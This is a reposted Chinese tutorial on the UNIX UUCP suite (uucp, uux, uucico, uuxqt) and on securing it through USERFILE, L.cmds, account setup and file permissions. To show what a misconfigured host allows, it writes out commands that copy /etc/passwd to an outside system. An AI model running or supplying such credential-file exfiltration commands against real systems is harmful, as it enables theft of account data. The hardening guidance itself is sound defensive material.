unix下的uucp大全讲解Windows系统 -电脑资料

时间:2012-07-06 01:40:24
染雾
分享
WORD下载 PDF下载 投诉

UUCP系列程序简介 UUCP系统是一组程序,完成文件传输,执行系统之间的命令,维护系统使用情况的统计,保护 安全 .UUCP是 UNIX 系统最广泛使用的 网络 实用系统,这其中在两个原因: *第一,UUCP是各种UNIX版本都可用的唯一的标准网络系统 *第二,UUCP是最便宜的网络

UUCP系列程序简介

UUCP系统是一组程序,完成文件传输,执行系统之间的命令,维护系统使用情况的统计,保护安全.UUCP是UNIX系统最广泛使用的网络实用系统,这其中在两个原因:

*第一,UUCP是各种UNIX版本都可用的唯一的标准网络系统

*第二,UUCP是最便宜的网络系统.只需要一根电缆连接两个系统,然后就可建立UUCP.如果

需要在相距数百或数千公里远的两个系统间传输数据,需要两个具有拨号功能的调制解调器.

(1)UUCP命令

UUCP命令之一是uucp,该命令用于两系统间的文件传输,uucp命令格式类似于cp命令的格式,只是uucp允许用户有系统间拷贝文件,命令的一般格式如下:

uucpsource_filedestination_file

source_file通常是本系统的文件(但不必一定是),destination_file通常是另一系统的文件或目录.指定destination_file的格式为:

system!filename或system!directory.

uucp给系统管理员提供了一个选项,可以限制传入和传出本系统的uucp文件只能传到/usr/spool/uucppublic目录结构中.若告诉uucp将传输的文件存放在其他目录中,系统将会送回一个邮件:

remoteaclearcase/" target="_blank" >ccesstopath/filedenied.

uucp允许以简化符号~代替/usr/spool/uucppublic/.如:

uucpnamesremote!~/john/names

有时也可用uucp将文件从另一个系统拷贝到本系统,只要将要传入本系统的文件指定为源文件(用system!file)即可,如:

uucpremotes!/usr/john/file1file1

如果在远地机限制了文件传输的目录,上条命令不能拷贝到文件.拷贝文件到本系统的最安全的方法是:在两个系统上都通过uucppublic目录进行文件传输:

uucpremotes!~/john/file1~/pat/file1

(2)uux命令

uux命令可用于在另一个系统上执行命令,这一特点称为"远程命令仞行".uux最通常的用处是在系统之间发送邮件(mail在其内部执行uux).典型的uux请求如下:

prlisting|uux-"remote1!lp-dpr1"

这条命令将文件listing格式编排后,再连接到系统remote1的打印机pr1上打印出来.uux的选项"-"使uux将本命令的标准输入设备建立为远程命令的标准输入设备.当若干个系统中只有一个系统连接了打印机时,常用uux打印文件.

当然必须严格地限制远程命令招待,以保护系统安全.如:本系统不应允许其它系统上的用户运行下面的命令:

uux"yoursys!uucpyoursys!/etc/passwd(outside!~/passwd)"

这条命令将使本系统传送/etc/passwd文件到系统outside上,一般地,只有几条命令允许地执行.rmail是加限制的mail程序,常常为允许通过uux执行的命令之一.也允许rnews(加限制的netnews伪脱机命令)在运行netnews的系统上执行,还允许lp在提供了打印设备的系统上运行.

(3)uucico程序

uucp和uux命令实际上并不调用另一个系统及传送文件和执行命令,而是将用户的请求排入队列,并启动uucico程序.uucico完成实际的通讯工作.它调用其它的系统,登录,传送数据(可以是文件或请求远程命令执行).如果电话线忙,或其它系统已关机,传输请求仍针保留在队列中,uucico后续的职能操作(通常是cron完成)将发送这些传输请求.

uucico完成数据的发送和接收.在本系统的/etc/passwd文件中,有其它系统的uucico登录进入本系统的入口项,该入口项中指定的缺省shell是uucico.因此,其它系统调用本系统时,直接与uucico对话.

(4)uuxqt程序

当另一系统的uucico调用本系统请求远程命令执行时,本系统的uucico将该请求排入队列,并在退出之前,启动uuxqt程序执行远程命令请求.

下面举例说明数据是如何传输的.假设本系统的一个用户发送邮件给另一远程系统remote1的某人,mail会执行uux,在remote1系统上远程地运行remail程序,要传送的邮件为remail命令的输入.uux将传输请求排入队列,然后启动uucico招待实际的远程调用和数据传输.如果remote1响应请求,uucico登录到remote1,然后传送两个文件:邮件和将在remote1上由uuxqt执行的uux命令文件.uux命令文件中含有运行remail请求.如果remote1在被调时已关机,uucico则将无法登和传送文件,但是cron会周期地(1小时)启动uucico.uucico查找是否有还未传送出的数据,若发现uux指定的传输目标系统是remote1,就尝试再调用remote1,直到调通remote1为止,或者过了一定天数仍未调通remote1,未送出的邮件将作为"不可投递"的邮件退回给发送该邮件的用户.

UUCP系统程序的安全问题

UUCP系统未设置限制,允许任何本系统外的用户执行任何命令和拷贝进/出uucp用户可读/写的任何文件.在具体的uucp应用环境中应了解这点,根据需要设置保护.

在UUCP中,有两个程序处理安全问题.第一个是uucico程序,该程序在其它系统调用本系统时启动.这个程序是本系统uucp安全的关键,完成本系统文件传输的传进和传出.第二个程序是uuxqt,该程序为所有的远程命令执行服务.

(1)USERFILE文件

uucico用文件/usr/lib/uucp/USERFILE确定远程系统发送或接收什么文件,其格式为:login,sys[c]path_name[path_name...]其中login是本系统的登录名,sys是远程系统名,c是可选的call_back标志,path_name是目录名.uucico作为登录shell启动时,将得到远程系统名和所在系统的登录名,并在USERFILE文件中找到匹配login和sys的行.如果该行含有call_back标志c,uucico将不传送文件,连接断开,调用远程系统(即,任何系统可以告诉本系统它的名是xyz,于是本系统挂起,调用实际的xyz执行文件传输),若无c,uucico将执行远程系统请求的文件传送,被传送的文件名被假定为以path_name开头的.

用户需要了解以下几点:

*如果远程系统使用的登录名未列于USERFILE的登录域中,uucico将拒绝允许其它系统做任何事,

并挂起.

*如果系统名未列于sys域中,uucico将使用USERFILE中有匹配的登录名和空系统名的第一行,

如:nuucp,/usr/spool/uucppublic应用到作为nuucp登录的所有系统.cbuucp,c将迫使作为

cbuucp登录的所有系统自己执行文件传输的请求.

*若调用系统名不匹配sys系统中的任何一个,并且无空入口项,uucico也将拒绝做任何事.

*若两个机器都设置了call_back标志,传送文件的请求

决不会被执行,两个系统一直互相调用,

直到两个系统中的一个取消call_back时,才能进行文件传送.

*如果一个用户的登录名列于USERFILE文件的login域中,则当调用本系统的uucico为该用户传

送文件时,uucico只传送至path_name指定的目录中的文件

*空登录名用于所有未明确列于USERFILE文件中的用户进行登录.所以pat,/usr/pat只允许pat

传送/usr/pat目录结构中的文件.

/usr/spool/uucppublic/tmp

其他用户仅允许传送目录/usr/spool/uucppublic和/tmp中的文件.不要允许uucico将文件

拷进/出到除了/usr/spool/uucppublic目录以外的其它任何目录,否则可能会有人用下面的

命令拷贝走本系统的重要信息:

uucpyoursys!/etc/passwdto-creep

(2)L.cmds文件

uuxqt利用/usr/lib/uucp/L.cmds文件确定要执行的远程执行请求命令.该文件的格式是每行一条命令.如果只需uuxqt处理电子邮件,该文件中就只须一行命令:

rmail

系统管理员可允许登录用户执行netnews(rnews)的命令或远程打印命令(lp),但决不能允许用户执行拷贝文件到标准输出的命令,如cat命令或网络命令uucp,否则这些人只需在他们自己的系统上敲入:

uux"yoursys!uucpyoursys!/etc/passwd(outside!~/passwd)"

然后就可等待本系统发送出命令文件.

(3)uucp登录

UUCP系统需要两个登录户头,一个是其它系统登录的户头,另一个是系统管理使用的户头.例如,数据传输登录户头是nuucp,管理登录户头是uucp,则在/etc/passwd文件中应当有二行.UID和GID的5号通常留给uucp,由于uucico具有管理登录的SUID许可,因此nuucp户头的UID和GID应当用其它值.

(4)uucp使用的文件和目录

/usr/lib/uucp用于存放不能由用户直接运行的各种uucp,如uuxqt和uucico.该目录还含有若干个确定uucp如何操作的文件,如L.cmds和USERFILE.这些文件只能对uucp管理户头可写(系统管理员一定不愿让用户更改远程可执行命令表):根据安全的观点,该目录中另一个系统管理员必须清楚的文件是L.sys.该文件中含有uucico能调用的每个系统的入口项.入口项数据包括uucico所调用系统的电话号码,登录名,未加密的口令.不用说,L.sys应当属于uucp管理户头所有,且应当具有400或600存取许可.uucp用/usr/spool/uucp目录存放工作文件.文件名以C.开头的文件是送到其它系统的命令文件,含有在其它系统上拷入/出数据和执行命令的请求.文件名以D.开头的文件用作C.文件的数据文件.文件名以X.开头的文件是来自其它系统的远程执行请求,由uuxqt解释.文件名以TM.开始的文件是从其它系统传送数据到本系统过程中uucp所使用的暂存文件.XQTDIR是uuxqt用于执行X.文件的目录.LOGFILE可有助于管理uucp的安全,它含有执行uucp请求成功与否的信息.系统管理员可时常查看该文件,了解有哪些系统正登录入本系统执行uucp请求?是什么请求?特别要检查这些请求是否试图做不允许的操作.

level 回复于:2004-02-27 18:47:41

原文转自:http://www.ltesting.net

unix下的uucp大全讲解Windows系统 -电脑资料

手机扫码分享

Top